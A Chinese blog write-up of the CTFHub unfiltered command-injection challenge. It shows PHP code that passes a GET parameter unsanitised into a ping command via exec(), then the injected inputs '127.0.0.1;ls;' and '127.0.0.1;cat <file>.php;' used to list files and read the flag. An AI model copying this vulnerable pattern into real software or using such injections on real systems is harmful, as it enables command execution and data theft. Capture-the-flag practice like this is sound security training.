Web命令注入


无过滤

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

观察html代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录

127.0.0.1;ls;

返回目录:

Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => 13175248123414.php
    [2] => index.php
)

查看php获得flag

127.0.0.1;cat 13175248123414.php;

flag藏在注释里

原创文章,作者:bd101bd101,如若转载,请注明出处:https://blog.ytso.com/275571.html

(0)
上一篇 2022年7月20日
下一篇 2022年7月20日

相关推荐

发表回复

登录后才能评论